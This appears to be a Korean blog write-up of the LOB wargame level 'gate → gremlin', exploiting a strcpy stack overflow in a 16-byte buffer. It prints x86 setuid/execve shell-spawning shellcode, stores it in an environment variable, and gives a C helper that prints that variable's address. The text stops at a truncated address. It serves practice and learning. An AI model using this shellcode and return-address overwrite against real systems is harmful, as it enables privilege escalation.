728x90
gate에서 gremlin으로 사용자 변경을 해주고 gate에서 얻은 gremlin의 비밀번호를 입력한다. 그리고 gate 단계에서 사용자만 변경했기 때문에 gate 권한의 디렉터리에서 gremlin 권한의 디렉터리로 옮겨준다.
Analyze
- small buffer로 buffer의 크기가 16byte밖에 안된다.
- strcpy 함수에서 스택 버퍼 오버플로우 취약점이 발생한다.
- buf[16] + SFP[4] + RET[4] = 24byte
- 32bit
- dynamically linked
- not stripped
debugging
Payload
버퍼의 크기가 쉘 코드를 모두 입력받기에 너무 작기 때문에 쉘코드를 환경변수로 저장하여 환경변수를 호출하도록 한다.
BUF+SFP (20) || RET (4 = SHCODE)
gate에서와 다르게 쉘 코드를 RET로 넣는 이유는 이미 환경변수를 생성하면서 쉘코드를 저장했고, 해당 환경 변수의 주소를 통해 쉘코드를 실행시킬 수 있게되었기 때문이다.
\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
위에서 만든 환경변수의 주소를 출력하는 함수를 작성한다.
#include <stdio.h>
int main(int argc, char *argv[]){
printf("%p\n", getenv(argv[1]));
return 0;
}
환경변수 SHCODE의 주소는 0xbffffda
SMALL
'System > PWNABLE' 카테고리의 다른 글
[POXX 2020] tips (0) | 2021.01.19 |
---|---|
[POXX 2020] investigator (0) | 2021.01.19 |
[LOB] gate → gremlin (2) | 2021.01.14 |
[Dreamhack] house_of_force (0) | 2020.11.08 |
[HackCTF] uaf (0) | 2020.09.20 |